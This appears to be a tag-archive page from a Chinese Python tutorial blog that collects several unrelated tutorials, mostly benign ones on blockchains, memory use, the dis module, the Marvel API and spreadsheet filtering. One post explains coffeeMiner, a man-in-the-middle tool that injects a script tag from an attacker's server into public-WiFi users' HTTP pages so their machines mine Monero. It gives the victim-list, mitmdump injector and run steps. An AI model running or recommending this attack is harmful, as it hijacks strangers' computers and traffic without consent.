标签归档:Python解决方案

Python 搭建简单的食品安全溯源区块链

部分引用自: Satwik Kansal
Develop a blockchain application from scratch in Python

这两天比特币暴涨到了9000美元,除了习大大重点点名的影响,还有明年4月比特币区块减半的因素在里面。不过这些都不是今天这篇文章的重点,今天我们要重点关注的是比特币的事务(在帐户之间转移比特币)的原理——区块链。并用它来搭建一个简单的去中心化的食品安全溯源区块链。

区块链是一种存储数字数据的方式,数据可以是任何内容。对于比特币而言,它就是账户之间转移比特币的事务,我们还可以将其应用到食品安全领域,那就是保存食品制作过程中的各个步骤的时间、原料、制作者等。

用区块链记录这些过程十分具备优势,因为区块链可以具备以下特点:

  • 1.历史记录无法修改(本文重点讨论)
  • 2.数据去中心化保存
  • 3.无单点故障

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

1.将数据存储到区块中

我们将用json保存我们想要的数据,以下是一个例子:

{
    "timestamp": "1572185927665", 
    "source": "香肠加工", 
    "recorder": "小詹"
}

2.让区块不可被更改

为了保证历史记录无法被修改,一旦被修改我们能检测出对区块的数据的任何篡改,因此我们需要用到哈希函数SHA256,它能从任何一种数据中心创建数字指纹,以保证数据的唯一性。下面是一个例子:

from hashlib import sha256
data = "TEST".encode("utf-8")
print(sha256(data).hexdigest())

然后我们将哈希得到的结果保存到区块的一个字段里,其作用类似于它所包含的数据的数字指纹:

from hashlib import sha256
import json
class Block: 
    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

3.链接区块

我们已经设置好了区块,但区块链应该是一个区块集合,我们可以把所有的区块存储在列表中,但是这远远不够,如果有人故意替换了一个区块怎么办?我们需要采用某种方法来确保对过去的区块的任何更改都会造成整个链的失效。我们将通过哈希值将区块连接起来,即将前一个区块的哈希值包含在当前区块中。所以如果当前的区块的内容发生更改,该区块的哈希值也会发生更改,导致与下一个区块的前一个区块(previous_hash)的哈希字段不匹配

每一个区块都根据previous_hash字段链接到前一个区块,但是第一个区块(创始区块)怎么办?大多数情况下,我们将手动为他赋值。

将index、时间戳、数据段和previous_hash加到区块类的初始化中:

from hashlib import sha256
import json
class Block: 
    def __init__(self, index, data, timestamp, previous_hash):
        self.index = index 
        self.data = data
        self.timestamp = timestamp
        self.previous_hash = previous_hash 

    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

这是我们的区块链类:

class Blockchain:
    def __init__(self): 
        self.unconfirmed_data = [] # 尚未进入区块链的数据
        self.chain = []
        self.create_genesis_block()
 
    def create_genesis_block(self): 
        """
        生成创始区块(genesis block)并将其附加到链中的函数。
        该块的索引为0,previous_hash为0,并且是一个有效的散列。
        """
        genesis_block = Block(0, [], time.time(), "0")
        genesis_block.hash = genesis_block.compute_hash()
        self.chain.append(genesis_block)
 
    @property
    def last_block(self): 
        return self.chain[-1]

4.工作量证明算法

其实这样做,还远远不够。因为我们更改前一个区块就可以非常轻松地计算后续所有区块的哈希值,创建一个不同且有效的区块链。为了预防这种情况,我们必须让计算哈希值的任务变得困难和随机化。

我们将引入一个约束条件和一个叫nonce的随机数的新字段。这个约束条件就是块哈希开头部分的零 (前导零) 的个数,随机数会不断变化,直到我们获得满足约束条件的哈希值。前导零的数量决定了工作量证明算法的难度。看看下面比特币出块图就知道了,比特币的难度的不断增加是通过增加前导零的数量实现的。

假设我们的难度是2,则编写工作量证明算法代码如下:

class Blockchain: 
    # 前面的代码略
    # 难度
    difficulty = 2
    def proof_of_work(self, block): 
        """
        函数尝试不同的随机数以获得满足我们难度的块哈希。
        """
        block.nonce = 0
        computed_hash = block.compute_hash()
        while not computed_hash.startswith('0' * Blockchain.difficulty): 
            block.nonce += 1
            computed_hash = block.compute_hash()
        return computed_hash 

这样做有一个好处:只能通过暴力破解确定随机数,这就是为什么现在挖矿行业这么火爆的原因。

5.将区块添加到链中

要将区块添加到链中,我们得先验证工作量证明是否正确,以及要添加的区块的previous_hash 字段是否指向链中最新区块的哈希值。

class Blockchain:
    # 前面的代码略
    def is_valid_proof(self, block, block_hash):
        """
        工作量证明验证,并确保previous_hash正确
        """
        return (block_hash.startswith('0' * Blockchain.difficulty) and
                block_hash == block.compute_hash())

    def add_block(self, block, proof):
        """
        在验证成功后将块链接起来
        """
        previous_hash = self.last_block.hash
        if previous_hash != block.previous_hash: 
            return False
        if not self.is_valid_proof(block, proof): 
            return False
        block.hash = proof
        self.chain.append(block)
        return True

6.挖矿

数据将存储在unconfirmed_data中,将unconfirmed_data中的数据放入区块中并计算工作量证明的过程称为挖矿。一旦找到满足约束条件的随机数,就可以说我们挖到了一个区块,这个区块就会放入区块链中。

在比特币中,作为对耗费算力来计算工作量证明的奖励,矿工可以获得一些加密货币,以下是我们的挖矿函数:

class Blockchain:
# 前面代码略
    def add_new_data(self, data): 
        self.unconfirmed_data.append(data)
 
    def mine(self): 
        """
        此函数充当一个接口,将未决数据添加到块中并计算工作证明,
        然后将它们添加到区块链。
        """
        if not self.unconfirmed_data: 
            return False
 
        last_block = self.last_block
 
        new_block = Block(index=last_block.index + 1,
                          data=self.unconfirmed_data,
                          timestamp=time.time(),
                          previous_hash=last_block.hash)
 
        proof = self.proof_of_work(new_block)
        self.add_block(new_block, proof)
        self.unconfirmed_data = []
        return new_block.index

测试

现在,这条链基本建造完成了,让我们试一试效果。尝试往里面添加一个区块:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)

添加成功:

F:\push\20191027>python block.py
Success

现在数据是在 unconfirmed_data 中,我们需要挖矿,让它成功添加到区块链上:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

def mine_unconfirmed_transactions(blockchain): 
    result = blockchain.mine()
    if not result: 
        print("No data need to mine")
    print("Block #{} is mined.".format(result))

bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)
mine_unconfirmed_transactions(bc)

输出结果:

F:\push\20191027>python block.py
Success
Block #1 is mined.

现在来看看区块链上是不是有两个区块了(一个创始块,一个我们新增的区块)显示数据:

def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

print(get_chain(bc)) 

结果:

F:\push\20191027>python block.py
 Success
 Block #1 is mined.
 {"length": 2, "chain": [{"index": 0, "data": [], "timestamp": 1572187230.2847784, "previous_hash": "0", "hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa"}, {"index": 1, "data": [{"source": "\u9999\u80a0\u52a0\u5de5", "recorder": "\u5c0f\u8a79", "timestamp": 1572187230.2847784}], "timestamp": 1572187230.2847784, "previous_hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa", "nonce": 0, "hash": "0026b22937fdcb24978814dd26cdf64a6210966c26914e66b73ca68805f1cd5a"}]}

非常nice,这样我们就成功新建了一个非常简单的食品安全溯源区块链,当然离上线还有很远的距离(如去中心化及建立共识),但是万事开头难,解决了开头部分,后续就不再会有什么难题了。

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python减少字典对象占用的七成内存

程序执行过程中,如果RAM中有大量的对象在运行,就可能会出现内存问题,特别是在对可用内存总量有限的情况下。

下面是一些减少字典对象内存大小的方法,这些方法可以显著减少对象所需的RAM大小。

字典

在Python里用字典来表示结构信息是非常方便的:

>>> ob = {'x':1, 'y':2, 'z':3}
>>> x = ob['x']
>>> ob['y'] = y

但我们来看看它的内存消耗:

>>> print(sys.getsizeof(ob))
240

这个数额看起来好像挺小,但是当你想要创造许多这样的变量时就积小成多了:

对象数目内存大小
1 000 000240 Mb
10 000 0002.40 Gb
100 000 00024 Gb

解决方案

用类实例来代替字典:

class Point:
    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

>>> ob = Point(1,2,3)
>>> x = ob.x
>>> ob.y = y

类实例各个部分的内存大小:

FieldSize (bytes)
PyGC_Head24
PyObject_HEAD16
__weakref__8
__dict__8
TOTAL:56

如果你不是很了解类和实例,可以看廖雪峰的这篇文章。这里的__weakref__是对这个对象的弱引用列表的引用,而__dict__是对类实例字典的引用,它包含实例属性的值。从Python 3.3开始, 类的所有实例用共享空间存储字典的keys. 这减少了内存中实例的大小:

>>> print(sys.getsizeof(ob), sys.getsizeof(ob.__dict__)) 
56 112

56+112=168 < 240. 因此,大量的类实例占用的内存比普通字典(dict)要少:

实例数目大小
1 000 000168 Mb
10 000 0001.68 Gb
100 000 00016.8 Gb

字典占实例大小的百分比为112/168=67%, 我们还是可以看出,实例中字典的大小严重影响了RAM中实例的大小。

带__slots__的类实例

通过消除__dict__和weakref__,可以显著减少RAM中的类实例的大小。用__slots__是有可能做到的:

class Point:
    __slots__ = 'x', 'y', 'z'

    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

>>> ob = Point(1,2,3)
>>> print(sys.getsizeof(ob))
64

RAM中的对象明显变小:

FieldSize (bytes)
PyGC_Head24
PyObject_HEAD16
x8
y8
z8
TOTAL:64

今日重点:在类定义中使用__slots__会显著减少大量实例的内存占用

实例数目大小
1 000 00064 Mb
10 000 000640 Mb
100 000 0006.4 Gb

目前,这是大幅度减少RAM中类实例的内存占用的主要方法。相比于单纯用字典,减少了(240-64)/240=73%的内存占用。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 十个加快编程效率的技巧(tricks)

1.交换两个数字

x, y = 10, 20
print(x, y) 
x, y = y, x 
print(x, y) 

输出

10 20
20 10

2.反转字符串

a ="GeeksForGeeks"
print("Reverse is", a[::-1]) 

输出

Reverse is skeeGroFskeeG

3.连接列表中的元素

a = ["Geeks", "For", "Geeks"] 
print(" ".join(a)) 

输出

Geeks For Geeks

4.多比较符

n = 10
result = 1 < n < 20 
print(result)  
result = 1 > n <= 9
print(result) 

输出

True
False

5.输出模块的位置

import os; 
import socket; 

print(os) 
print(socket) 

输出

<module 'os' from '/usr/lib/python3.5/os.py'>
<module 'socket' from '/usr/lib/python3.5/socket.py'>

6.使用枚举

class MyName: 
    Geeks, For, Geeks = range(3) 

print(MyName.Geeks) 
print(MyName.For) 
print(MyName.Geeks) 

输出

2
1
2

7.函数返回多个值

def x(): 
    return 1, 2, 3, 4
a, b, c, d = x() 
print(a, b, c, d) 

输出

1 2 3 4

8.找到数组中出现频率最高的数

test = [1, 2, 3, 4, 2, 2, 3, 1, 4, 4, 4] 
print(max(set(test), key = test.count)) 

输出

4

9.检查对象占用内存大小

import sys 
x = 1
print(sys.getsizeof(x)) 

输出

28

10.检查两个字符串是否字谜(字母和出现次数一致)

from collections import Counter 
def is_anagram(str1, str2): 
    return Counter(str1) == Counter(str2) 
print(is_anagram('geek', 'eegk')) 
  
print(is_anagram('geek', 'peek'))   

输出

True
False

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 利用公共WiFi挖矿(开源项目仅作研究)

BTC收益

挖矿是什么?只要你加入矿池,提供一定的算力,你就能获得收益。比如poolin矿池,1TH算力的每日收益是1.15元人民币,如果你有一台16TH的矿机,每日的收益就是1.15*16=18.4元,当然,净利润还要去除电费成本。

但是矿机的成本不容忽视,一台16TH的全新矿机价格需要约为3000元上下,二手也要接近千元。如果你买了一台16TH的二手矿机,你需要近54天才能回本。如果说能“借用”他人的算力进行挖矿,那可就太舒服了。西班牙有位叫阿尔诺的开发人员就想到了,能不能利用公共wifi网络进行挖矿呢?

这就是coffeeMiner脚本的用处,它利用中间人攻击的原理,将类似于下面的HTML代码注入到非HTTPS的网页中。

 <script src="http://httpserverIP:8000/.js" type="text/java"></script>

一旦这个脚本被加载,就会执行服务器上的java代码,将本机变成一名矿工,抽取CPU时间,利用挖矿软件来挖名为Monero的加密货币。

不过,它的缺点是对HTTPS页面的请求不起作用,加上SSLStrip可以补上这一不足。 整个脚本都是Python写的,如果你有兴趣可以访问这个项目: coffeeMiner

该项目简单的使用教程

  • 1.执行安装脚本:install.sh
bash install.sh
  • 2.编辑 victims.txt ,一行一个IP
  • 3.编辑 coffeeMiner.py, 第二十八行,将10.0.2.20改为你的矿工服务器的IP:
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
  • 4.执行 coffeeMiner.py
python coffeeMiner.py ipgateway

如果你无法访问github,也可以关注下方Python实用宝典公众号,回复 coffeeminer 获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

爬虫工具篇 – 必会用的 6 款 Chrome 插件

在日常 PC 端的爬虫过程工作中,Chrome 浏览器是我们常用的一款工具

鉴于 Chrome 浏览器的强大,Chrome 网上应用商店很多强大的插件可以帮助我们快速高效地进行数据爬虫

今天推荐的 6 款 Chrome 插件,可以大大提升我们的爬虫效率。

EditThisCookie  

EditThisCookie 是一个 Cookie 管理器,可以很方便的添加,删除,编辑,搜索,锁定和屏蔽 Cookies。

可以将登录后的 Cookies 先保存到本地,借助 cookielib ,直接爬取登录后的数据。

避免了抓包和模拟登录,帮助我们快速地进行爬虫

Web Scraper

Web Scraper 是一款免费的、适用于任何人,包含没有任何编程基础的爬虫工具

操作简单,只需要鼠标点击和简单的配置,就能快速的爬取 Web 端的数据。

它支持复杂的网站结构,数据支持文本、连接、数据块、下拉加载数据块等各种数据类型。

此外,还能将爬取的数据导出到 CSV 文件中。

Xpath Helper

Xpath Helper 是一种结构化网页元素选择器,支持列表和单节点数据获取,

它可以快速地定位网页元素。

对比 Beautiful Soup,由于 Xpath 网页元素查找性能更有优势;Xpath 相比正则表达式编写起来更方便。

编写 Xpath 之后会实时显示匹配的数目和对应的位置,方便我们判断语句是否编写正确。

Toggle JavaScript

Toggle JavaScript 插件可以用来检测当前网页哪些元素是通过 AJAX 动态加载的。

使用它可以快速在容许加载 JS 、禁止加载 JS 两种模式中切换。

User-Agent Switcher for Chrome

User-Agent Switcher for Chrome 插件可以很方便的修改浏览器的 User-Agent。

可以模拟不同的浏览器、客户端,包含 Android、IOS 去模拟请求。

对于一些特殊网站,切换 User-Agent 可以更方便地进行数据爬取。

JSON-handle

JSON-handle 是一款功能强大的JSON数据解析Chrome插件。它以简单清晰的树形图样式展现 JSON 文档,并可实时编辑。针对数据量大的场景,可以做局部选取分析。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们。有任何问题请在下方留言,我们会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

python Dis模块进行代码性能分析

​Python代码在执行的时候,会被编译为Python字节码,再由Python虚拟机执行Python字节码。有时候就我们执行python文件的时候会生成一个pyc文件,这个pyc文件即用于存储Python字节码指令,而这些字节码是一种类似于汇编指令的中间语言,但是每个字节码对应的不是机器指令,而是一段C代码。

而Dis模块,就是用于查看这些字节码的运行轨迹,因此我们可以用Dis模块判断两个函数的内存占用谁会更大,谁会更消耗CPU性能,不仅如此,通过指令,我们还可以知道Python中一些内置函数、变量的取值过程、运行逻辑,对于我们代码性能并优化代码很有帮助。

下面将通过两个例子,来介绍Dis模块的使用。

1.为什么下面第一个函数比第二个函数耗得内存更少?

def test1(a):
    if 0 < a and a < 1:
        return 1
    return 0

def test2(a):
    if 0 < a < 1:
        return 1
    return 0

一般人是比较难直接看出来的,但是我们使用Dis模块却能很容易找到答案:

import dis
def test1(a):
    if 0 < a and a < 1:
        return 1
    return 0


def test2(a):
    if 0 < a < 1:
        return 1
    return 0

dis.dis(test1)
print('*'*50)
dis.dis(test2)

结果:

dis结果

Dis的结果其实很容易阅读:

第一列:对应的源代码行数。
第二列:对应的内存字节码的索引位置。
在第一列和第二列之间的 >> 号表示跳转的目标
第三列:内部机器代码的操作。
第四列:指令参数。
第五列:实际参数。

两个函数的dis分析用*号隔开了,大家可以清晰地看到两个函数之间的语句区别。第二个函数的字节码索引最大到了30,而第一个函数的字节码索引最大仅到了22,因此,第一个函数耗得内存比第二个函数少。

而且,在第一列和第二列之间的 >> 号表示跳转的目标,大家可以看第二个函数第四列的 18,表示其跳转到了索引为18的指令,也就是ROT_TWO。第二个函数的跳转也比第一个函数多,这也可能导致其在某种特殊情况下的效率可能会比第一个函数低。

2.为什么Python2中,while True 比 while 1慢?

while 1:
    pass
 
while True:
    pass

可以通过在命令中使用dis进行分析:

可以看到,while 1 在第二行是直接JUMP_ABSOLUTE,因此相比于While True 少了LOAD_NAME 和 POP_JUMP_IF_FALSE。这是因为True在Python2中不是一个关键字,而是一个内置变量,因此每次Python都会用LOAD_NAME去检查(POP_JUMP_IF_FALSE)True的值。这就是为什么While True 比while 1慢的原因。

到了Python3,True变成了关键字,就没有这个问题了:

Python 3 针对 Python 2 做了非常多的替换,这也是为什么它不兼容 Python 2 的原因之一,差别太大了。因此,建议各位初学者直接上手 Python 3 进行学习,而非 Python 2.

希望以上两个Dis模块的使用例子能给大家带来一点灵感,分析一段Python代码的深层次性能问题虽然比较费时费力,但是一旦你分析到了深层次的性能原因,将能累积不少深层次的技术上的知识,写出更漂亮的代码。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python使用“漫威API”探索漫威宇宙

在看漫威系列电影的时候,你是不是经常会对一些角色感到好奇,想知道每个角色的关联关系和出场的事件,但是却无从下手?

现在,我们有很好的来帮助我们实现这些想法了!Marvel Comics API 允许各地的开发人员访问漫威70年来庞大的漫画信息。接下来就来告诉大家怎么使用这个漫威

1.注册账号获得API访问权限

访问下面的链接注册一个漫威开发者

https://developer.marvel.com/signup

跟着步骤走,接受它的使用条款后就能得到public key(公钥)和 private key(私钥)了:

2.pip安装相应的第三方工具

在pip中输入以下命令安装marvel包(默认你已经安装好了python和pip哦,如果你还没有安装,建议阅读这个教程:python安装)

pip install marvel

这个包是这个漫威API的封装器,里面封装了许多查询工程,方便我们使用,我们不需要理解怎么发送post请求向漫威api调用数据,仅仅使用一个语句,将我们刚刚获得的公钥和私钥传入进去,就可以拿到数据。

公钥秘钥示例

获取所有角色:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
all_characters = characters.all()
print(all_characters)

获取单个角色:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
character = characters.get(1011334)
print(character)

获取一些角色的漫画:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
comics = characters.comics(1011334)
print(comics)

同样,您可以将相同的逻辑应用于不同的对象,例如:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
stories = m.stories
all_stores = stories.all()
story = stories.get(id)
events = stories.events(id)
print(stories, all_stores, story, events)

最后,每个对象具有的子资源如下:

  • 人物
    • allgetcomicseventsseriesstories
  • 漫画
    • allgetcharacterscreatorseventsstories
  • 创作者
    • allgetcomicseventsseriesstories
  • 活动
    • allgetcharacterscomicscreatorsseriesstories
  • 系列
    • allgetcharacterscomicscreatorseventsstories
  • 故事
    • allgetcharacterscomicscreatorseventsseries

3. 使用API找到雷神出现过的漫画

想要使用API查找灭霸出现过的所有漫画,你就得先知道雷神的角色ID(character ID), 我们通过角色名字得到角色对应的ID:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
def get_hero_id(characters, name):
    all_characters = characters.all(nameStartsWith=name)
    # 根据名字获得角色信息,仅支持英文
    ids = [i['id'] for i in all_characters['data']['results']]
    names = [i['name'] for i in all_characters['data']['results']]
    return ids,names
ids, names = get_hero_id(characters, 'thor')

结果:

(base) ckenddeMacBook-Pro:20190925 ckend$ python 1.py
[1009664, 1017576, 1017106, 1017315, 1017328, 1017302, 1011025, 1010820] ['Thor', 'Thor (Goddess of Thunder)', 'Thor (MAA)', 'Thor (Marvel Heroes)', 'Thor (Marvel War of Heroes)', 'Thor (Marvel: Avengers Alliance)', 'Thor (Ultimate)', 'Thor Girl']

可以看到我们好像得到了不同系列下的雷神,以1009664为例,获得雷神出现过的漫画。

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
def get_hero_id(characters, name):
    all_characters = characters.all(nameStartsWith=name)
    # 根据名字获得角色信息,仅支持英文
    ids = [i['id'] for i in all_characters['data']['results']]
    names = [i['name'] for i in all_characters['data']['results']]
    return ids,names
ids, names = get_hero_id(characters, 'thor')
comics = characters.comics(ids[0])
# ids[0]即1009664
print([i['title'] for i in comics['data']['results']])

结果如下:

(base) ckenddeMacBook-Pro:20190925 ckend$ python 1.py
 ['THOR VOL. 2: ROAD TO WAR OF THE REALMS TPB (Trade Paperback)', 'Marvel Masterworks: The Mighty Thor Vol. 18 (Hardcover)', 'King Thor (2019) #1', 'Thor Epic Collection: The Black Galaxy (Trade Paperback)', 'Thor (2018) #16', 'THOR & LOKI: BLOOD BROTHERS GALLERY EDITION HC (Hardcover)', 'Thor Of The Realms (Trade Paperback)', 'War Of The Realms Omega (2019) #1', 'Thor (2018) #15', 'The Unbeatable Squirrel Girl (2015) #46', 'Kirby Is… Mighty! King-Size (Hardcover)', 'Thor (2018) #14', 'War of the Realms (2019) #5', 'MARVEL ACTION CLASSICS: SPIDER-MAN TWO-IN-ONE 1 (2019) #1', 'Thor (2018) #13', 'Moon Girl and Devil Dinosaur (2015) #43', "Decades: Marvel in The '80s - Awesome Evolutions (Trade Paperback)", 'War of the Realms (2019) #3', 'The Art of War of the Realms (Trade Paperback)', 'Mighty Thor 3D (2019) #1']

可以看到,雷神一共在十九部作品里出现过哦。怎么样,是不是特别方便的工具

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

利用Python找出适合你的国考市考公务员岗位

2020年国考已经临近啦,很多小伙伴都在考虑是否要报公务员,但是却不知道适合自己的岗位有什么,今天我们就来利用Python找出适合你的岗位吧!

根据2019年国考全国职位表,可以找到以下的报考限制因素:专业、学历、政治面貌、基层工作年限。该表的下载地址:

由于表格是Excel的xlsx格式,我们需要用到两个包,xlrd和xlwt,使用pip安装即可,如果你还没有安装Python和pip,请看这篇教程:安装Python. 在CMD/TERMINAL输入以下两条命令进行安装:

pip install xlrd
pip install xlwt

假设,假设我们是计算机本科专业,而且没有任何的基层工作经验,以这样的条件筛选表格中适合我们的岗位,(如果你没有耐心看,可以到网站上下载源代码直接用哦):

我们会使用xlrd读取表格,然后用xlwt保存筛选出来的数据,首先是xlrd读取:

data = xlrd.open_workbook(file) 
# 将表格数据读取到data中

然后我们需要一个变量保存筛选数据:

output = xlwt.Workbook(encoding='utf-8')

该表格中还有许多子表格,因此我们需要遍历所有的子表格:

for sheet in data.sheets():
    output_sheet = output.add_sheet(sheet.name)
    # 筛选出来的文件中也添加这些子表格

添加第二行的列信息:

for col in range(sheet.ncols):
    # 添加第二行的列信息
    output_sheet.row(0).write(col, sheet.cell(1,col).value)

接下来是检测文件中的每一行,判断其是否能够满足我们的三个条件:专业、学历、基层限制,由于不好分批展示,这里直接给出全部源代码,大家看注释就应该能看明白了,是一个使用关键词匹配对应表格的方法:

# 完整源代码
# Python实用宝典 2019-09-23
#-*- coding: utf-8 -*-

import xlrd
import xlwt
import re

# 检查是否满足报考条件
def check(row_value, major, edu, year):
    ma = row_value[12]
    # 该岗位所需专业
    ed = row_value[13]
    # 该岗位所需学历
    value = row_value[16]
    # 该岗位所需年限
    if check_major(ma, major) and check_edu(ed, edu) and checkSpecial(value, year):
        return True
    else:
        return False

def check_major(value, major):
    # 检查是否满足专业要求
    pat = re.compile(major)
    if re.search(pat, value):
        return True
    return False

# 检查是否满足学历要求
def check_edu(value, edu):
    pat = re.compile(edu)
    if re.search(pat, value):
        return True
    return False

# 检查基层年限设置
def checkSpecial(value, year):
    pat = re.compile(year)
    if re.search(pat, value):
        return True
    return False

# 根据条件筛选出职位
def filterTitle(file, major, edu, year):
    data = xlrd.open_workbook(file)
    # 将表格数据读取到data中
    output = xlwt.Workbook(encoding='utf-8')
    for sheet in data.sheets():
        output_sheet = output.add_sheet(sheet.name)
        # 筛选出来的文件中也添加这些子表格
        for col in range(sheet.ncols):
            # 添加第二行的列信息
            output_sheet.row(0).write(col, sheet.cell(1,col).value)

        output_row = 1
        for row in range(sheet.nrows):
            # 每一行都检测
            row_value = sheet.row_values(row)

            choosed = check(row_value, major, edu, year)
            # 是否满足三个条件(专业、学历、基层限制)

            if choosed == True:
                # 满足则输出到文件中
                for col in range(sheet.ncols):
                    output_sheet.row(output_row).write(col, sheet.cell(row, col).value)
                output_sheet.flush_row_data()
                output_row += 1
    output.save('output.xls')

if __name__ == '__main__':
    filterTitle('1.xlsx', u'不限|计算机', u'本科', u'无限制')

运行完毕后能在本地找到一个output.xls的文件,里面就是我们筛选出来的所有岗位,可以看到本科计算机能报中央国家党群机关和本级中央行政机关的的岗位比较少,但是国家行政机关省级以下直属岗位非常多,高达901个。事业单位355个。

大家也可以再修改源代码添加城市限制,比如说你希望在广东省工作,那就可以把check函数改成这样:

def check(row_value, major, edu, year, location):
    ma = row_value[12]
    # 该岗位所需专业
    ed = row_value[13]
    # 该岗位所需学历
    value = row_value[16]
    # 该岗位所需年限
    loc= row_value[1]
    # 该岗位位置
    if check_re(ma, major) and check_re(ed, edu) and check_re(value, year) and check_re(loc , location):
        return True
    else:
        return False

然后查看原表格里第二列的值,你会发现大部分国家公务员都是以省为单位的,比如XX广东省科员,那么调用该函数的时候就加一个’广东’参数即可。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python生成器不该这么用

最近在知乎上有人误解了Python生成器的使用,在这里我们来统一探讨下它这么用对不对。

举一个例子,编写一个函数计算一串数字里所有偶数的个数,其实是很简单的问题,但是有些人是用生成器这么写的:

In [66]: def f1(x):
   ....:     return sum(c in '02468' for c in str(x))
   ....: 
In [68]: x = int('1234567890'*50)
In [69]: %timeit f1(x)
10000 loops, best of 5: 52.2 µs per loop

生成器这么用其实是速度最慢的一种做法,花费了52微秒。我们来看看如果我改成列表解析式会怎么样:

In [67]: def f2(x):
  ....:     return sum([c in '02468' for c in str(x)])
  ....:  
In [70]: %timeit f2(x)
10000 loops, best of 5: 40.5 µs per loop 

你看,这个加速非常地明显,仅花费了40.5微秒

而且还能进一步改进, 如果我们改变之前定义的f2,让它在列表解析式后判断数字是否为偶数,是偶数才会成为最终生成的列表中的一员,这样有另一个加速:

In [71]: def f3(x):
   ....:     return sum([True for c in str(x) if c in '02468'])
   ....: 
In [72]: %timeit f3(x)
10000 loops, best of 5: 34.9 µs per loop


34.9微秒,Perfect! 不仅如此,还能继续加速!sum对于整数有一个快速路径,但是这个快速路径只激活类型为int的变量. bool不行,因此我们把True改成1,能再加一次速!

In [73]: def f4(x):
   ....:     return sum([1 for c in str(x) if c in '02468'])
   ....: 
In [74]: %timeit f4(x)
10000 loops, best of 5: 33.3 µs per loop

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典


Python里Yield关键词的作用

要理解yield的作用,您必须理解生成器是什么。在理解生成器之前,必须先理解迭代器。

迭代器

当您创建一个列表时,您可以逐个读取它的项。逐项读取其项称为迭代:

>>> mylist = [1, 2, 3]
>>> for i in mylist:
...    print(i)
1
2
3

